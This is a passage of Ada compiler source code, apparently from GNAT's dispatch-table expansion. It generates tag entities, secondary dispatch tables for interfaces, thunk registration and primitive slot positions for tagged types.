Next_Elmt (Prim_Elmt);
end loop;
end;
return Assignments;
end Make_Select_Specific_Data_Table;
---------------
-- Make_Tags --
---------------
function Make_Tags (Typ : Entity_Id) return List_Id is
Loc : constant Source_Ptr := Sloc (Typ);
Result : constant List_Id := New_List;
procedure Import_DT
(Tag_Typ : Entity_Id;
DT : Entity_Id;
Is_Secondary_DT : Boolean);
-- Import the dispatch table DT of tagged type Tag_Typ. Required to
-- generate forward references and statically allocate the table. For
-- primary dispatch tables that require no dispatch table generate:
-- DT : static aliased constant Non_Dispatch_Table_Wrapper;
-- pragma Import (Ada, DT);
-- Otherwise generate:
-- DT : static aliased constant Dispatch_Table_Wrapper (Nb_Prim);
-- pragma Import (Ada, DT);
---------------
-- Import_DT --
---------------
procedure Import_DT
(Tag_Typ : Entity_Id;
DT : Entity_Id;
Is_Secondary_DT : Boolean)
is
DT_Constr_List : List_Id;
Nb_Prim : Nat;
begin
Set_Is_Imported (DT);
Set_Ekind (DT, E_Constant);
Set_Related_Type (DT, Typ);
-- The scope must be set now to call Get_External_Name
Set_Scope (DT, Current_Scope);
Get_External_Name (DT);
Set_Interface_Name (DT,
Make_String_Literal (Loc, Strval => String_From_Name_Buffer));
-- Ensure proper Sprint output of this implicit importation
Set_Is_Internal (DT);
-- Save this entity to allow Make_DT to generate its exportation
Append_Elmt (DT, Dispatch_Table_Wrappers (Typ));
-- No dispatch table required
if not Is_Secondary_DT and then not Has_DT (Tag_Typ) then
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => DT,
Aliased_Present => True,
Constant_Present => True,
Object_Definition =>
New_Occurrence_Of
(RTE (RE_No_Dispatch_Table_Wrapper), Loc)));
else
-- Calculate the number of primitives of the dispatch table and
-- the size of the Type_Specific_Data record.
Nb_Prim :=
UI_To_Int (DT_Entry_Count (First_Tag_Component (Tag_Typ)));
-- If the tagged type has no primitives we add a dummy slot whose
-- address will be the tag of this type.
if Nb_Prim = 0 then
DT_Constr_List :=
New_List (Make_Integer_Literal (Loc, 1));
else
DT_Constr_List :=
New_List (Make_Integer_Literal (Loc, Nb_Prim));
end if;
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => DT,
Aliased_Present => True,
Constant_Present => True,
Object_Definition =>
Make_Subtype_Indication (Loc,
Subtype_Mark =>
New_Occurrence_Of (RTE (RE_Dispatch_Table_Wrapper), Loc),
Constraint => Make_Index_Or_Discriminant_Constraint (Loc,
Constraints => DT_Constr_List))));
end if;
end Import_DT;
-- Local variables
Tname : constant Name_Id := Chars (Typ);
AI_Tag_Comp : Elmt_Id;
DT : Node_Id := Empty;
DT_Ptr : Node_Id;
Predef_Prims_Ptr : Node_Id;
Iface_DT : Node_Id := Empty;
Iface_DT_Ptr : Node_Id;
New_Node : Node_Id;
Suffix_Index : Int;
Typ_Name : Name_Id;
Typ_Comps : Elist_Id;
-- Start of processing for Make_Tags
begin
pragma Assert (No (Access_Disp_Table (Typ)));
Set_Access_Disp_Table (Typ, New_Elmt_List);
-- If the elaboration of this tagged type needs a boolean flag then
-- define now its entity. It is initialized to True to indicate that
-- elaboration is still pending; set to False by the IP routine.
-- TypFxx : boolean := True;
if Elab_Flag_Needed (Typ) then
Set_Access_Disp_Table_Elab_Flag (Typ,
Make_Defining_Identifier (Loc,
Chars => New_External_Name (Tname, 'F')));
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => Access_Disp_Table_Elab_Flag (Typ),
Object_Definition => New_Occurrence_Of (Standard_Boolean, Loc),
Expression => New_Occurrence_Of (Standard_True, Loc)));
end if;
-- 1) Generate the primary tag entities
-- Primary dispatch table containing user-defined primitives
DT_Ptr := Make_Defining_Identifier (Loc, New_External_Name (Tname, 'P'));
Set_Etype (DT_Ptr, RTE (RE_Tag));
Append_Elmt (DT_Ptr, Access_Disp_Table (Typ));
-- Minimum decoration
Set_Ekind (DT_Ptr, E_Variable);
Set_Related_Type (DT_Ptr, Typ);
-- Notify back end that the types are associated with a dispatch table
Set_Is_Dispatch_Table_Entity (RTE (RE_Prim_Ptr));
Set_Is_Dispatch_Table_Entity (RTE (RE_Predef_Prims_Table_Ptr));
-- For CPP types there is no need to build the dispatch tables since
-- they are imported from the C++ side. If the CPP type has an IP then
-- we declare now the variable that will store the copy of the C++ tag.
-- If the CPP type is an interface, we need the variable as well because
-- it becomes the pointer to the corresponding secondary table.
if Is_CPP_Class (Typ) then
if Has_CPP_Constructors (Typ) or else Is_Interface (Typ) then
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => DT_Ptr,
Object_Definition => New_Occurrence_Of (RTE (RE_Tag), Loc),
Expression =>
Unchecked_Convert_To (RTE (RE_Tag),
New_Occurrence_Of (RTE (RE_Null_Address), Loc))));
Set_Is_Statically_Allocated (DT_Ptr,
Is_Library_Level_Tagged_Type (Typ));
end if;
-- Ada types
else
-- Primary dispatch table containing predefined primitives
Predef_Prims_Ptr :=
Make_Defining_Identifier (Loc,
Chars => New_External_Name (Tname, 'Y'));
Set_Etype (Predef_Prims_Ptr, RTE (RE_Address));
Append_Elmt (Predef_Prims_Ptr, Access_Disp_Table (Typ));
-- Import the forward declaration of the Dispatch Table wrapper
-- record (Make_DT will take care of exporting it).
if Building_Static_DT (Typ) then
Set_Dispatch_Table_Wrappers (Typ, New_Elmt_List);
DT :=
Make_Defining_Identifier (Loc,
Chars => New_External_Name (Tname, 'T'));
Import_DT (Typ, DT, Is_Secondary_DT => False);
if Has_DT (Typ) then
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => DT_Ptr,
Constant_Present => True,
Object_Definition =>
New_Occurrence_Of (RTE (RE_Tag), Loc),
Expression =>
Unchecked_Convert_To (RTE (RE_Tag),
Make_Attribute_Reference (Loc,
Prefix =>
Make_Selected_Component (Loc,
Prefix => New_Occurrence_Of (DT, Loc),
Selector_Name =>
New_Occurrence_Of
(RTE_Record_Component (RE_Prims_Ptr), Loc)),
Attribute_Name => Name_Address))));
-- Generate the SCIL node for the previous object declaration
-- because it has a tag initialization.
if Generate_SCIL then
New_Node :=
Make_SCIL_Dispatch_Table_Tag_Init (Sloc (Last (Result)));
Set_SCIL_Entity (New_Node, Typ);
Set_SCIL_Node (Last (Result), New_Node);
end if;
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => Predef_Prims_Ptr,
Constant_Present => True,
Object_Definition =>
New_Occurrence_Of (RTE (RE_Address), Loc),
Expression =>
Make_Attribute_Reference (Loc,
Prefix =>
Make_Selected_Component (Loc,
Prefix => New_Occurrence_Of (DT, Loc),
Selector_Name =>
New_Occurrence_Of
(RTE_Record_Component (RE_Predef_Prims), Loc)),
Attribute_Name => Name_Address)));
-- No dispatch table required
else
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => DT_Ptr,
Constant_Present => True,
Object_Definition =>
New_Occurrence_Of (RTE (RE_Tag), Loc),
Expression =>
Unchecked_Convert_To (RTE (RE_Tag),
Make_Attribute_Reference (Loc,
Prefix =>
Make_Selected_Component (Loc,
Prefix => New_Occurrence_Of (DT, Loc),
Selector_Name =>
New_Occurrence_Of
(RTE_Record_Component (RE_NDT_Prims_Ptr),
Loc)),
Attribute_Name => Name_Address))));
end if;
Set_Is_True_Constant (DT_Ptr);
Set_Is_Statically_Allocated (DT_Ptr);
end if;
end if;
-- 2) Generate the secondary tag entities
-- Collect the components associated with secondary dispatch tables
if Has_Interfaces (Typ) then
Collect_Interface_Components (Typ, Typ_Comps);
-- For each interface type we build a unique external name associated
-- with its secondary dispatch table. This name is used to declare an
-- object that references this secondary dispatch table, whose value
-- will be used for the elaboration of Typ objects, and also for the
-- elaboration of objects of types derived from Typ that do not
-- override the primitives of this interface type.
Suffix_Index := 1;
-- Note: The value of Suffix_Index must be in sync with the values of
-- Suffix_Index in secondary dispatch tables generated by Make_DT.
if Is_CPP_Class (Typ) then
AI_Tag_Comp := First_Elmt (Typ_Comps);
while Present (AI_Tag_Comp) loop
Get_Secondary_DT_External_Name
(Typ, Related_Type (Node (AI_Tag_Comp)), Suffix_Index);
Typ_Name := Name_Find;
-- Declare variables to store copy of the C++ secondary tags
Iface_DT_Ptr :=
Make_Defining_Identifier (Loc,
Chars => New_External_Name (Typ_Name, 'P'));
Set_Etype (Iface_DT_Ptr, RTE (RE_Interface_Tag));
Set_Ekind (Iface_DT_Ptr, E_Variable);
Set_Is_Tag (Iface_DT_Ptr);
Set_Has_Thunks (Iface_DT_Ptr);
Set_Related_Type
(Iface_DT_Ptr, Related_Type (Node (AI_Tag_Comp)));
Append_Elmt (Iface_DT_Ptr, Access_Disp_Table (Typ));
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => Iface_DT_Ptr,
Object_Definition => New_Occurrence_Of
(RTE (RE_Interface_Tag), Loc),
Expression =>
Unchecked_Convert_To (RTE (RE_Interface_Tag),
New_Occurrence_Of (RTE (RE_Null_Address), Loc))));
Set_Is_Statically_Allocated (Iface_DT_Ptr,
Is_Library_Level_Tagged_Type (Typ));
Next_Elmt (AI_Tag_Comp);
end loop;
-- This is not a CPP_Class type
else
AI_Tag_Comp := First_Elmt (Typ_Comps);
while Present (AI_Tag_Comp) loop
Get_Secondary_DT_External_Name
(Typ, Related_Type (Node (AI_Tag_Comp)), Suffix_Index);
Typ_Name := Name_Find;
if Building_Static_DT (Typ) then
Iface_DT :=
Make_Defining_Identifier (Loc,
Chars => New_External_Name (Typ_Name, 'T'));
Import_DT
(Tag_Typ => Related_Type (Node (AI_Tag_Comp)),
DT => Iface_DT,
Is_Secondary_DT => True);
end if;
-- Secondary dispatch table referencing thunks to user-defined
-- primitives covered by this interface.
Iface_DT_Ptr :=
Make_Defining_Identifier (Loc,
Chars => New_External_Name (Typ_Name, 'P'));
Set_Etype (Iface_DT_Ptr, RTE (RE_Interface_Tag));
Set_Ekind (Iface_DT_Ptr, E_Constant);
Set_Is_Tag (Iface_DT_Ptr);
Set_Has_Thunks (Iface_DT_Ptr);
Set_Is_Statically_Allocated (Iface_DT_Ptr,
Is_Library_Level_Tagged_Type (Typ));
Set_Is_True_Constant (Iface_DT_Ptr);
Set_Related_Type
(Iface_DT_Ptr, Related_Type (Node (AI_Tag_Comp)));
Append_Elmt (Iface_DT_Ptr, Access_Disp_Table (Typ));
if Building_Static_DT (Typ) then
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => Iface_DT_Ptr,
Constant_Present => True,
Object_Definition => New_Occurrence_Of
(RTE (RE_Interface_Tag), Loc),
Expression =>
Unchecked_Convert_To (RTE (RE_Interface_Tag),
Make_Attribute_Reference (Loc,
Prefix =>
Make_Selected_Component (Loc,
Prefix =>
New_Occurrence_Of (Iface_DT, Loc),
Selector_Name =>
New_Occurrence_Of
(RTE_Record_Component (RE_Prims_Ptr),
Loc)),
Attribute_Name => Name_Address))));
end if;
-- Secondary dispatch table referencing thunks to predefined
-- primitives.
Iface_DT_Ptr :=
Make_Defining_Identifier (Loc,
Chars => New_External_Name (Typ_Name, 'Y'));
Set_Etype (Iface_DT_Ptr, RTE (RE_Address));
Set_Ekind (Iface_DT_Ptr, E_Constant);
Set_Is_Tag (Iface_DT_Ptr);
Set_Has_Thunks (Iface_DT_Ptr);
Set_Is_Statically_Allocated (Iface_DT_Ptr,
Is_Library_Level_Tagged_Type (Typ));
Set_Is_True_Constant (Iface_DT_Ptr);
Set_Related_Type
(Iface_DT_Ptr, Related_Type (Node (AI_Tag_Comp)));
Append_Elmt (Iface_DT_Ptr, Access_Disp_Table (Typ));
-- Secondary dispatch table referencing user-defined primitives
-- covered by this interface.
Iface_DT_Ptr :=
Make_Defining_Identifier (Loc,
Chars => New_External_Name (Typ_Name, 'D'));
Set_Etype (Iface_DT_Ptr, RTE (RE_Interface_Tag));
Set_Ekind (Iface_DT_Ptr, E_Constant);
Set_Is_Tag (Iface_DT_Ptr);
Set_Is_Statically_Allocated (Iface_DT_Ptr,
Is_Library_Level_Tagged_Type (Typ));
Set_Is_True_Constant (Iface_DT_Ptr);
Set_Related_Type
(Iface_DT_Ptr, Related_Type (Node (AI_Tag_Comp)));
Append_Elmt (Iface_DT_Ptr, Access_Disp_Table (Typ));
-- Secondary dispatch table referencing predefined primitives
Iface_DT_Ptr :=
Make_Defining_Identifier (Loc,
Chars => New_External_Name (Typ_Name, 'Z'));
Set_Etype (Iface_DT_Ptr, RTE (RE_Address));
Set_Ekind (Iface_DT_Ptr, E_Constant);
Set_Is_Tag (Iface_DT_Ptr);
Set_Is_Statically_Allocated (Iface_DT_Ptr,
Is_Library_Level_Tagged_Type (Typ));
Set_Is_True_Constant (Iface_DT_Ptr);
Set_Related_Type
(Iface_DT_Ptr, Related_Type (Node (AI_Tag_Comp)));
Append_Elmt (Iface_DT_Ptr, Access_Disp_Table (Typ));
Next_Elmt (AI_Tag_Comp);
end loop;
end if;
end if;
-- 3) At the end of Access_Disp_Table, if the type has user-defined
-- primitives, we add the entity of an access type declaration that
-- is used by Build_Get_Prim_Op_Address to expand dispatching calls
-- through the primary dispatch table.
if UI_To_Int (DT_Entry_Count (First_Tag_Component (Typ))) = 0 then
Analyze_List (Result);
-- Generate:
-- subtype Typ_DT is Address_Array (1 .. Nb_Prims);
-- type Typ_DT_Acc is access Typ_DT;
else
declare
Name_DT_Prims : constant Name_Id :=
New_External_Name (Tname, 'G');
Name_DT_Prims_Acc : constant Name_Id :=
New_External_Name (Tname, 'H');
DT_Prims : constant Entity_Id :=
Make_Defining_Identifier (Loc,
Name_DT_Prims);
DT_Prims_Acc : constant Entity_Id :=
Make_Defining_Identifier (Loc,
Name_DT_Prims_Acc);
begin
Append_To (Result,
Make_Subtype_Declaration (Loc,
Defining_Identifier => DT_Prims,
Subtype_Indication =>
Make_Subtype_Indication (Loc,
Subtype_Mark =>
New_Occurrence_Of (RTE (RE_Address_Array), Loc),
Constraint =>
Make_Index_Or_Discriminant_Constraint (Loc, New_List (
Make_Range (Loc,
Low_Bound => Make_Integer_Literal (Loc, 1),
High_Bound =>
Make_Integer_Literal (Loc,
DT_Entry_Count
(First_Tag_Component (Typ)))))))));
Append_To (Result,
Make_Full_Type_Declaration (Loc,
Defining_Identifier => DT_Prims_Acc,
Type_Definition =>
Make_Access_To_Object_Definition (Loc,
Subtype_Indication =>
New_Occurrence_Of (DT_Prims, Loc))));
Append_Elmt (DT_Prims_Acc, Access_Disp_Table (Typ));
-- Analyze the resulting list and suppress the generation of the
-- Init_Proc associated with the above array declaration because
-- this type is never used in object declarations. It is only used
-- to simplify the expansion associated with dispatching calls.
Analyze_List (Result);
Set_Suppress_Initialization (Base_Type (DT_Prims));
-- Disable backend optimizations based on assumptions about the
-- aliasing status of objects designated by the access to the
-- dispatch table. Required to handle dispatch tables imported
-- from C++.
Set_No_Strict_Aliasing (Base_Type (DT_Prims_Acc));
-- Add the freezing nodes of these declarations; required to avoid
-- generating these freezing nodes in wrong scopes (for example in
-- the IC routine of a derivation of Typ).
-- What is an "IC routine"? Is "init_proc" meant here???
Append_List_To (Result, Freeze_Entity (DT_Prims, Typ));
Append_List_To (Result, Freeze_Entity (DT_Prims_Acc, Typ));
-- Mark entity of dispatch table. Required by the back end to
-- handle them properly.
Set_Is_Dispatch_Table_Entity (DT_Prims);
end;
end if;
-- Mark entities of dispatch table. Required by the back end to handle
-- them properly.
if Present (DT) then
Set_Is_Dispatch_Table_Entity (DT);
Set_Is_Dispatch_Table_Entity (Etype (DT));
end if;
if Present (Iface_DT) then
Set_Is_Dispatch_Table_Entity (Iface_DT);
Set_Is_Dispatch_Table_Entity (Etype (Iface_DT));
end if;
if Is_CPP_Class (Root_Type (Typ)) then
Set_Ekind (DT_Ptr, E_Variable);
else
Set_Ekind (DT_Ptr, E_Constant);
end if;
Set_Is_Tag (DT_Ptr);
Set_Related_Type (DT_Ptr, Typ);
return Result;
end Make_Tags;
---------------
-- New_Value --
---------------
function New_Value (From : Node_Id) return Node_Id is
Res : constant Node_Id := Duplicate_Subexpr (From);
begin
if Is_Access_Type (Etype (From)) then
return Make_Explicit_Dereference (Sloc (From), Prefix => Res);
else
return Res;
end if;
end New_Value;
-----------------------------------
-- Original_View_In_Visible_Part --
-----------------------------------
function Original_View_In_Visible_Part (Typ : Entity_Id) return Boolean is
Scop : constant Entity_Id := Scope (Typ);
begin
-- The scope must be a package
if not Is_Package_Or_Generic_Package (Scop) then
return False;
end if;
-- A type with a private declaration has a private view declared in
-- the visible part.
if Has_Private_Declaration (Typ) then
return True;
end if;
return List_Containing (Parent (Typ)) =
Visible_Declarations (Package_Specification (Scop));
end Original_View_In_Visible_Part;
------------------
-- Prim_Op_Kind --
------------------
function Prim_Op_Kind
(Prim : Entity_Id;
Typ : Entity_Id) return Node_Id
is
Full_Typ : Entity_Id := Typ;
Loc : constant Source_Ptr := Sloc (Prim);
Prim_Op : Entity_Id;
begin
-- Retrieve the original primitive operation
Prim_Op := Ultimate_Alias (Prim);
if Ekind (Typ) = E_Record_Type
and then Present (Corresponding_Concurrent_Type (Typ))
then
Full_Typ := Corresponding_Concurrent_Type (Typ);
end if;
-- When a private tagged type is completed by a concurrent type,
-- retrieve the full view.
if Is_Private_Type (Full_Typ) then
Full_Typ := Full_View (Full_Typ);
end if;
if Ekind (Prim_Op) = E_Function then
-- Protected function
if Ekind (Full_Typ) = E_Protected_Type then
return New_Occurrence_Of (RTE (RE_POK_Protected_Function), Loc);
-- Task function
elsif Ekind (Full_Typ) = E_Task_Type then
return New_Occurrence_Of (RTE (RE_POK_Task_Function), Loc);
-- Regular function
else
return New_Occurrence_Of (RTE (RE_POK_Function), Loc);
end if;
else
pragma Assert (Ekind (Prim_Op) = E_Procedure);
if Ekind (Full_Typ) = E_Protected_Type then
-- Protected entry
if Is_Primitive_Wrapper (Prim_Op)
and then Ekind (Wrapped_Entity (Prim_Op)) = E_Entry
then
return New_Occurrence_Of (RTE (RE_POK_Protected_Entry), Loc);
-- Protected procedure
else
return
New_Occurrence_Of (RTE (RE_POK_Protected_Procedure), Loc);
end if;
elsif Ekind (Full_Typ) = E_Task_Type then
-- Task entry
if Is_Primitive_Wrapper (Prim_Op)
and then Ekind (Wrapped_Entity (Prim_Op)) = E_Entry
then
return New_Occurrence_Of (RTE (RE_POK_Task_Entry), Loc);
-- Task "procedure". These are the internally Expander-generated
-- procedures (task body for instance).
else
return New_Occurrence_Of (RTE (RE_POK_Task_Procedure), Loc);
end if;
-- Regular procedure
else
return New_Occurrence_Of (RTE (RE_POK_Procedure), Loc);
end if;
end if;
end Prim_Op_Kind;
------------------------
-- Register_Primitive --
------------------------
function Register_Primitive
(Loc : Source_Ptr;
Prim : Entity_Id) return List_Id
is
DT_Ptr : Entity_Id;
Iface_Prim : Entity_Id;
Iface_Typ : Entity_Id;
Iface_DT_Ptr : Entity_Id;
Iface_DT_Elmt : Elmt_Id;
L : constant List_Id := New_List;
Pos : Uint;
Tag : Entity_Id;
Tag_Typ : Entity_Id;
Thunk_Id : Entity_Id;
Thunk_Code : Node_Id;
begin
pragma Assert (not Restriction_Active (No_Dispatching_Calls));
-- Do not register in the dispatch table eliminated primitives
if not RTE_Available (RE_Tag)
or else Is_Eliminated (Ultimate_Alias (Prim))
or else Generate_SCIL
then
return L;
end if;
if not Present (Interface_Alias (Prim)) then
Tag_Typ := Scope (DTC_Entity (Prim));
Pos := DT_Position (Prim);
Tag := First_Tag_Component (Tag_Typ);
if Is_Predefined_Dispatching_Operation (Prim)
or else Is_Predefined_Dispatching_Alias (Prim)
then
DT_Ptr :=
Node (Next_Elmt (First_Elmt (Access_Disp_Table (Tag_Typ))));
Append_To (L,
Build_Set_Predefined_Prim_Op_Address (Loc,
Tag_Node => New_Occurrence_Of (DT_Ptr, Loc),
Position => Pos,
Address_Node =>
Unchecked_Convert_To (RTE (RE_Prim_Ptr),
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Prim, Loc),
Attribute_Name => Name_Unrestricted_Access))));
-- Register copy of the pointer to the 'size primitive in the TSD
if Chars (Prim) = Name_uSize
and then RTE_Record_Component_Available (RE_Size_Func)
then
DT_Ptr := Node (First_Elmt (Access_Disp_Table (Tag_Typ)));
Append_To (L,
Build_Set_Size_Function (Loc,
Tag_Node => New_Occurrence_Of (DT_Ptr, Loc),
Size_Func => Prim));
end if;
else
pragma Assert (Pos /= Uint_0 and then Pos <= DT_Entry_Count (Tag));
-- Skip registration of primitives located in the C++ part of the
-- dispatch table. Their slot is set by the IC routine.
if not Is_CPP_Class (Root_Type (Tag_Typ))
or else Pos > CPP_Num_Prims (Tag_Typ)
then
DT_Ptr := Node (First_Elmt (Access_Disp_Table (Tag_Typ)));
Append_To (L,
Build_Set_Prim_Op_Address (Loc,
Typ => Tag_Typ,
Tag_Node => New_Occurrence_Of (DT_Ptr, Loc),
Position => Pos,
Address_Node =>
Unchecked_Convert_To (RTE (RE_Prim_Ptr),
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Prim, Loc),
Attribute_Name => Name_Unrestricted_Access))));
end if;
end if;
-- Ada 2005 (AI-251): Primitive associated with an interface type
-- Generate the code of the thunk only if the interface type is not an
-- immediate ancestor of Typ; otherwise the dispatch table associated
-- with the interface is the primary dispatch table and we have nothing
-- else to do here.
else
Tag_Typ := Find_Dispatching_Type (Alias (Prim));
Iface_Typ := Find_Dispatching_Type (Interface_Alias (Prim));
pragma Assert (Is_Interface (Iface_Typ));
-- No action needed for interfaces that are ancestors of Typ because
-- their primitives are located in the primary dispatch table.
if Is_Ancestor (Iface_Typ, Tag_Typ, Use_Full_View => True) then
return L;
-- No action needed for primitives located in the C++ part of the
-- dispatch table. Their slot is set by the IC routine.
elsif Is_CPP_Class (Root_Type (Tag_Typ))
and then DT_Position (Alias (Prim)) <= CPP_Num_Prims (Tag_Typ)
and then not Is_Predefined_Dispatching_Operation (Prim)
and then not Is_Predefined_Dispatching_Alias (Prim)
then
return L;
end if;
Expand_Interface_Thunk (Prim, Thunk_Id, Thunk_Code, Iface_Typ);
if not Is_Ancestor (Iface_Typ, Tag_Typ, Use_Full_View => True)
and then Present (Thunk_Code)
then
-- Generate the code necessary to fill the appropriate entry of
-- the secondary dispatch table of Prim's controlling type with
-- Thunk_Id's address.
Iface_DT_Elmt := Find_Interface_ADT (Tag_Typ, Iface_Typ);
Iface_DT_Ptr := Node (Iface_DT_Elmt);
pragma Assert (Has_Thunks (Iface_DT_Ptr));
Iface_Prim := Interface_Alias (Prim);
Pos := DT_Position (Iface_Prim);
Tag := First_Tag_Component (Iface_Typ);
Prepend_To (L, Thunk_Code);
if Is_Predefined_Dispatching_Operation (Prim)
or else Is_Predefined_Dispatching_Alias (Prim)
then
Append_To (L,
Build_Set_Predefined_Prim_Op_Address (Loc,
Tag_Node =>
New_Occurrence_Of (Node (Next_Elmt (Iface_DT_Elmt)), Loc),
Position => Pos,
Address_Node =>
Unchecked_Convert_To (RTE (RE_Prim_Ptr),
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Thunk_Id, Loc),
Attribute_Name => Name_Unrestricted_Access))));
Next_Elmt (Iface_DT_Elmt);
Next_Elmt (Iface_DT_Elmt);
Iface_DT_Ptr := Node (Iface_DT_Elmt);
pragma Assert (not Has_Thunks (Iface_DT_Ptr));
Append_To (L,
Build_Set_Predefined_Prim_Op_Address (Loc,
Tag_Node =>
New_Occurrence_Of (Node (Next_Elmt (Iface_DT_Elmt)), Loc),
Position => Pos,
Address_Node =>
Unchecked_Convert_To (RTE (RE_Prim_Ptr),
Make_Attribute_Reference (Loc,
Prefix =>
New_Occurrence_Of (Alias (Prim), Loc),
Attribute_Name => Name_Unrestricted_Access))));
else
pragma Assert (Pos /= Uint_0
and then Pos <= DT_Entry_Count (Tag));
Append_To (L,
Build_Set_Prim_Op_Address (Loc,
Typ => Iface_Typ,
Tag_Node => New_Occurrence_Of (Iface_DT_Ptr, Loc),
Position => Pos,
Address_Node =>
Unchecked_Convert_To (RTE (RE_Prim_Ptr),
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Thunk_Id, Loc),
Attribute_Name => Name_Unrestricted_Access))));
Next_Elmt (Iface_DT_Elmt);
Next_Elmt (Iface_DT_Elmt);
Iface_DT_Ptr := Node (Iface_DT_Elmt);
pragma Assert (not Has_Thunks (Iface_DT_Ptr));
Append_To (L,
Build_Set_Prim_Op_Address (Loc,
Typ => Iface_Typ,
Tag_Node => New_Occurrence_Of (Iface_DT_Ptr, Loc),
Position => Pos,
Address_Node =>
Unchecked_Convert_To (RTE (RE_Prim_Ptr),
Make_Attribute_Reference (Loc,
Prefix =>
New_Occurrence_Of (Ultimate_Alias (Prim), Loc),
Attribute_Name => Name_Unrestricted_Access))));
end if;
end if;
end if;
return L;
end Register_Primitive;
-------------------------
-- Set_All_DT_Position --
-------------------------
procedure Set_All_DT_Position (Typ : Entity_Id) is
function In_Predef_Prims_DT (Prim : Entity_Id) return Boolean;
-- Returns True if Prim is located in the dispatch table of
-- predefined primitives
procedure Validate_Position (Prim : Entity_Id);
-- Check that position assigned to Prim is completely safe (it has not
-- been assigned to a previously defined primitive operation of Typ).
------------------------
-- In_Predef_Prims_DT --
------------------------
function In_Predef_Prims_DT (Prim : Entity_Id) return Boolean is
begin
-- Predefined primitives
if Is_Predefined_Dispatching_Operation (Prim) then
return True;
-- Renamings of predefined primitives
elsif Present (Alias (Prim))
and then Is_Predefined_Dispatching_Operation (Ultimate_Alias (Prim))
then
if Chars (Ultimate_Alias (Prim)) /= Name_Op_Eq then
return True;
-- An overriding operation that is a user-defined renaming of
-- predefined equality inherits its slot from the overridden
-- operation. Otherwise it is treated as a predefined op and
-- occupies the same predefined slot as equality. A call to it is
-- transformed into a call to its alias, which is the predefined
-- equality op. A dispatching call thus uses the proper slot if
-- operation is further inherited and called with class-wide
-- arguments.
else
return
not Comes_From_Source (Prim)
or else No (Overridden_Operation (Prim));
end if;
-- User-defined primitives
else
return False;
end if;
end In_Predef_Prims_DT;
-----------------------
-- Validate_Position --
-----------------------
procedure Validate_Position (Prim : Entity_Id) is
Op_Elmt : Elmt_Id;
Op : Entity_Id;
begin
-- Aliased primitives are safe
if Present (Alias (Prim)) then
return;
end if;
Op_Elmt := First_Elmt (Primitive_Operations (Typ));
while Present (Op_Elmt) loop
Op := Node (Op_Elmt);
-- No need to check against itself
if Op = Prim then
null;
-- Primitive operations covering abstract interfaces are
-- allocated later
elsif Present (Interface_Alias (Op)) then
null;
-- Predefined dispatching operations are completely safe. They
-- are allocated at fixed positions in a separate table.
elsif Is_Predefined_Dispatching_Operation (Op)
or else Is_Predefined_Dispatching_Alias (Op)
then
null;
-- Aliased subprograms are safe
elsif Present (Alias (Op)) then
null;
elsif DT_Position (Op) = DT_Position (Prim)
and then not Is_Predefined_Dispatching_Operation (Op)
and then not Is_Predefined_Dispatching_Operation (Prim)
and then not Is_Predefined_Dispatching_Alias (Op)
and then not Is_Predefined_Dispatching_Alias (Prim)
then
-- Handle aliased subprograms
declare
Op_1 : Entity_Id;
Op_2 : Entity_Id;
begin
Op_1 := Op;
loop
if Present (Overridden_Operation (Op_1)) then
Op_1 := Overridden_Operation (Op_1);
elsif Present (Alias (Op_1)) then
Op_1 := Alias (Op_1);
else
exit;
end if;
end loop;
Op_2 := Prim;
loop
if Present (Overridden_Operation (Op_2)) then
Op_2 := Overridden_Operation (Op_2);
elsif Present (Alias (Op_2)) then
Op_2 := Alias (Op_2);
else
exit;
end if;
end loop;
if Op_1 /= Op_2 then
raise Program_Error;
end if;
end;
end if;
Next_Elmt (Op_Elmt);
end loop;
end Validate_Position;
-- Local variables
Parent_Typ : constant Entity_Id := Etype (Typ);
First_Prim : constant Elmt_Id := First_Elmt (Primitive_Operations (Typ));
The_Tag : constant Entity_Id := First_Tag_Component (Typ);
Adjusted : Boolean := False;
Finalized : Boolean := False;
Count_Prim : Nat;
DT_Length : Nat;
Nb_Prim : Nat;
Prim : Entity_Id;
Prim_Elmt : Elmt_Id;
-- Start of processing for Set_All_DT_Position
begin
pragma Assert (Present (First_Tag_Component (Typ)));
-- Set the DT_Position for each primitive operation. Perform some sanity
-- checks to avoid building inconsistent dispatch tables.
-- First stage: Set DTC entity of all the primitive operations. This is
-- required to properly read the DT_Position attribute in latter stages.
Prim_Elmt := First_Prim;
Count_Prim := 0;
while Present (Prim_Elmt) loop
Prim := Node (Prim_Elmt);
-- Predefined primitives have a separate dispatch table
if not In_Predef_Prims_DT (Prim) then
Count_Prim := Count_Prim + 1;
end if;
Set_DTC_Entity_Value (Typ, Prim);
-- Clear any previous value of the DT_Position attribute. In this
-- way we ensure that the final position of all the primitives is
-- established by the following stages of this algorithm.
Set_DT_Position_Value (Prim, No_Uint);
Next_Elmt (Prim_Elmt);
end loop;
declare
Fixed_Prim : array (Int range 0 .. Count_Prim) of Boolean :=
(others => False);
E : Entity_Id;
procedure Handle_Inherited_Private_Subprograms (Typ : Entity_Id);
-- Called if Typ is declared in a nested package or a public child
-- package to handle inherited primitives that were inherited by Typ
-- in the visible part, but whose declaration was deferred because
-- the parent operation was private and not visible at that point.
procedure Set_Fixed_Prim (Pos : Nat);
-- Sets to true an element of the Fixed_Prim table to indicate
-- that this entry of the dispatch table of Typ is occupied.
------------------------------------------
-- Handle_Inherited_Private_Subprograms --
------------------------------------------
procedure Handle_Inherited_Private_Subprograms (Typ : Entity_Id) is
Op_List : Elist_Id;
Op_Elmt : Elmt_Id;
Op_Elmt_2 : Elmt_Id;
Prim_Op : Entity_Id;
Parent_Subp : Entity_Id;
begin
Op_List := Primitive_Operations (Typ);
Op_Elmt := First_Elmt (Op_List);
while Present (Op_Elmt) loop
Prim_Op := Node (Op_Elmt);
-- Search primitives that are implicit operations with an
-- internal name whose parent operation has a normal name.
